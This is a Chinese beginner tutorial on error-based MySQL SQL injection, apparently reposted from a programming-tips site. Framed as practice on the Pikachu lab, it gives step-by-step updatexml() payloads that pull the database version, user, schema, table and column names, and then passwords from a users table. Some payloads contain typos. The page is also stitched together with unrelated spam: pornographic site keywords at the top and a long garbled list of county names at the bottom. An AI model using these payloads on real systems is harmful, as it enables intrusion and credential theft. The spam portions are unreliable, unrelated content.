最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

SQL注入之報(bào)錯(cuò)注入實(shí)戰(zhàn)演練(適合新手入門)

 更新時(shí)間:2025年11月05日 10:20:05   作者:見青..  
在SQL注入報(bào)錯(cuò)攻擊中,攻擊者通過在用戶輸入的位置注入惡意的SQL代碼,使應(yīng)用程序拼接出錯(cuò)誤的SQL語(yǔ)句,這篇文章主要介紹了SQL注入之報(bào)錯(cuò)注入的相關(guān)資料,需要的朋友可以參考下

一、概念

 報(bào)錯(cuò)注入指在MYSQL中使用一些指定的函數(shù)來制造報(bào)錯(cuò),從而從報(bào)錯(cuò)信息中獲取設(shè)定的信息。

常見的select/insert/update/delete注入都可以使用報(bào)錯(cuò)方式來獲取信息。

為什么要用函數(shù)報(bào)錯(cuò)?

是因?yàn)槲覀冎皩W(xué)到的一些注入測(cè)試手段,可能看不到報(bào)錯(cuò),被屏蔽或者處理了,不好判斷是否有注入點(diǎn),所以學(xué)一下基于函數(shù)的報(bào)錯(cuò)。

二、原理

以皮卡丘靶場(chǎng)為例

“http header”注入,登錄,抓包

用測(cè)試語(yǔ)句測(cè)試

若測(cè)試后沒有報(bào)錯(cuò),但也沒看到用戶表中的數(shù)據(jù),頁(yè)面渲染還是原先的頁(yè)面,可能是因?yàn)榉?wù)端那邊拿到數(shù)據(jù)之后,只是在數(shù)據(jù)庫(kù)中查詢了一下有沒有admin'這個(gè)用戶就結(jié)束了,沒有把整個(gè)表里面的查到的數(shù)據(jù)展示給你看。

在頁(yè)面沒有給任何反饋信息的情況下,就可以用到報(bào)錯(cuò)注入。

三、報(bào)錯(cuò)注入分類

updatexml注入

insert注入
update注入
delete注入
extractvalue()注入

四、三個(gè)常用的用來報(bào)錯(cuò)的函數(shù)

  • Updatexml():函數(shù)是MYSQL對(duì)XML文檔數(shù)據(jù)進(jìn)行查詢和修改的XPATH函數(shù)。
  • extractvalue():函數(shù)是MYSQL對(duì)XML文檔數(shù)據(jù)進(jìn)行查詢的XPATH函數(shù)。
  • floor():MYSQL中用來取整的函數(shù)。

1.updatexml()

(XML_document, XPath_string, new_value);
它是一個(gè)內(nèi)容替換函數(shù),主要針對(duì)的xml數(shù)據(jù);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱,文中為Doc
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串)
第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)。

如:數(shù)據(jù)版本為5.5.53,那么concat連接之后,得到的結(jié)果為~5.5.53~updatexml(1,~5.5.53~,1),其中~5.5.53~并不符合xpath的語(yǔ)法格式,會(huì)報(bào)錯(cuò)。

2.extractvalue()

EXTRACTVALUE (XML_document, XPath_string);

從目標(biāo)XML中返回包含所查詢值的字符串。
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串)
concat:返回結(jié)果為連接參數(shù)產(chǎn)生的字符串。

如:SELECT Extractvalue('<a><b><b/></a >','/a/b');就是尋找前一段xml文檔內(nèi)容中的a節(jié)點(diǎn)下的b節(jié)點(diǎn),這里書寫錯(cuò)誤的話,就會(huì)報(bào)錯(cuò)。

五、實(shí)戰(zhàn)演練

1、爆數(shù)據(jù)庫(kù)版本信息

k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#

(K這個(gè)字母是隨便寫的,寫什么都可以        0x7e是16進(jìn)制,表示一個(gè)~符號(hào))

k'and updatexm(1,concat(0x7e,(SELECT@@version),0x7e),1)#

k‘and updatexml(1,concat("~",(SELECT @@version),"~"),1)#

這里為什么不直接寫~,而是寫成了16進(jìn)制呢?

因?yàn)閪本身為字符串,如果直接寫~,需要用引號(hào)引起來,如果用單引號(hào)的話,勢(shì)必會(huì)和我們前面閉合用的單引號(hào)有些沖突,所以只能用雙引號(hào),還需要寫引號(hào),比較麻煩,并且如果別人后臺(tái)對(duì)引號(hào)做了限制的話,我們用引號(hào)就會(huì)注入失敗。

可以通過編碼解碼工具查看一些0x7e是什么。

concat是mysql中的字符串拼接函數(shù),能拼接兩個(gè)字符串.

SELECT@@version是查詢當(dāng)前數(shù)據(jù)庫(kù)的版本,不加兩個(gè)@也是可以的。

在靶場(chǎng)搜索型注入中輸入k'and updatexm(1,concat(0x7e,(SELECT@@version),0x7e),1)#

報(bào)錯(cuò),但可以查詢到數(shù)據(jù)庫(kù)版本

2、爆數(shù)據(jù)庫(kù)當(dāng)前用戶

k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

3、爆數(shù)據(jù)庫(kù)

k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

4、爆表

5.1版本及以上版本,mysql數(shù)據(jù)庫(kù)中會(huì)存在一個(gè)叫做的formation_schema的默認(rèn)數(shù)據(jù)庫(kù),這個(gè)庫(kù)里面記錄著整個(gè)mysq!管理的數(shù)據(jù)庫(kù)的名稱、表名、列名(字段名)。

獲取數(shù)據(jù)庫(kù)表名,輸入:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema='pikachu')),0)#,但是反饋回的錯(cuò)誤表示只能顯示一行,所以采用limit來一行一行顯示

子查詢返回的行數(shù)大于1

limit限制一行,輸入k' and updatexml(1,concat(0x7e,(select table_ name from information_schema.tables wheretable_schema='pikachu' limit 0,1)),0)#,更改limit后面的數(shù)字limit 0完成表名遍歷。

5、爆字段

獲取字段名,輸入: k' and updatexml(1,concat(0x7e,(select column_name from information _schema columns wheretable_name='users' and table_schema='pikachu' limit 2,1)),0)#

6、爆字段內(nèi)容

獲取字段內(nèi)容,輸入:k'and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

總結(jié)

到此這篇關(guān)于SQL注入之報(bào)錯(cuò)注入的文章就介紹到這了,更多相關(guān)SQL報(bào)錯(cuò)注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • MySQL8.0.20安裝教程及其安裝問題詳細(xì)教程

    MySQL8.0.20安裝教程及其安裝問題詳細(xì)教程

    這篇文章主要介紹了MySQL8.0.20安裝教程及其安裝問題處理,本文通過圖文并茂的形式給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下
    2020-05-05
  • 使用Shell腳本操作多個(gè)MySQL數(shù)據(jù)庫(kù)的步驟詳解

    使用Shell腳本操作多個(gè)MySQL數(shù)據(jù)庫(kù)的步驟詳解

    本文介紹如何通過Shell腳本批量操作多個(gè)MySQL數(shù)據(jù)庫(kù),包含創(chuàng)建數(shù)據(jù)庫(kù)信息文件、編寫執(zhí)行腳本、準(zhǔn)備SQL文件及設(shè)置權(quán)限等步驟,實(shí)現(xiàn)自動(dòng)遍歷連接各數(shù)據(jù)庫(kù)并執(zhí)行指定SQL語(yǔ)句創(chuàng)建表的操作,需要的朋友可以參考下
    2025-08-08
  • mysql數(shù)據(jù)庫(kù)隔離級(jí)別詳解

    mysql數(shù)據(jù)庫(kù)隔離級(jí)別詳解

    SQL標(biāo)準(zhǔn)定義了4類隔離級(jí)別,包括了一些具體規(guī)則,用來限定事務(wù)內(nèi)外的哪些改變是可見的,哪些是不可見的,下面這篇文章主要給大家介紹了關(guān)于mysql數(shù)據(jù)庫(kù)隔離級(jí)別的相關(guān)資料,需要的朋友可以參考下
    2022-06-06
  • mysql中鎖機(jī)制的最全面講解

    mysql中鎖機(jī)制的最全面講解

    大概幾個(gè)月之前項(xiàng)目中用到事務(wù),需要保證數(shù)據(jù)的強(qiáng)一致性,期間也用到了mysql的鎖,所以本文打算總結(jié)一下mysql的鎖機(jī)制,這篇文章主要給大家介紹了關(guān)于mysql中鎖機(jī)制的相關(guān)資料,需要的朋友可以參考下
    2021-09-09
  • 深入理解MySQL流模式

    深入理解MySQL流模式

    MySQL的Binlog流模式是一種實(shí)時(shí)讀取二進(jìn)制日志的技術(shù),允許下游系統(tǒng)幾乎無延遲地獲取數(shù)據(jù)庫(kù)變更事件,適用于需要極低延遲復(fù)制的場(chǎng)景,感興趣的可以了解一下
    2025-11-11
  • mysql中in操作符的用法詳解

    mysql中in操作符的用法詳解

    IN 是 MySQL 中用于多值篩選的高效操作符,常用于 WHERE 子句,可替代多個(gè) OR 條件,簡(jiǎn)化查詢邏輯并提升可讀性,這篇文章主要介紹了mysql中in操作符的用法詳解,需要的朋友可以參考下
    2025-07-07
  • mysql獲取字符串長(zhǎng)度函數(shù)(CHAR_LENGTH)

    mysql獲取字符串長(zhǎng)度函數(shù)(CHAR_LENGTH)

    本文介紹一下關(guān)于mysql獲取字符串長(zhǎng)度的方法,希望此教程對(duì)各位同學(xué)會(huì)有所幫助哦。
    2013-11-11
  • mysql 無限級(jí)分類實(shí)現(xiàn)思路

    mysql 無限級(jí)分類實(shí)現(xiàn)思路

    關(guān)于該問題,暫時(shí)自己還沒有深入研究,在網(wǎng)上找到幾種解決方案,各有優(yōu)缺點(diǎn)。
    2011-08-08
  • Mysql查詢數(shù)據(jù)庫(kù)或數(shù)據(jù)表中的數(shù)據(jù)量以及數(shù)據(jù)大小

    Mysql查詢數(shù)據(jù)庫(kù)或數(shù)據(jù)表中的數(shù)據(jù)量以及數(shù)據(jù)大小

    許多數(shù)據(jù)庫(kù)的元數(shù)據(jù)都是存儲(chǔ)在mysql中的,本文主要介紹了Mysql查詢數(shù)據(jù)庫(kù)或數(shù)據(jù)表中的數(shù)據(jù)量以及數(shù)據(jù)大小,文中通過示例代碼介紹的非常詳細(xì),需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2024-02-02
  • 最新評(píng)論

    惠水县| 襄垣县| 黄龙县| 苍南县| 平南县| 道真| 大关县| 左云县| 柳河县| 襄垣县| 忻州市| 海丰县| 新泰市| 长丰县| 元江| 屯留县| 宁化县| 银川市| 杭锦后旗| 香港 | 陆良县| 二手房| 五常市| 钟祥市| 灵川县| 诸城市| 湖州市| 白山市| 通许县| 山西省| 宁安市| 黑水县| 青神县| 阿克陶县| 桐庐县| 安溪县| 长岭县| 鸡东县| 绍兴县| 元朗区| 惠水县|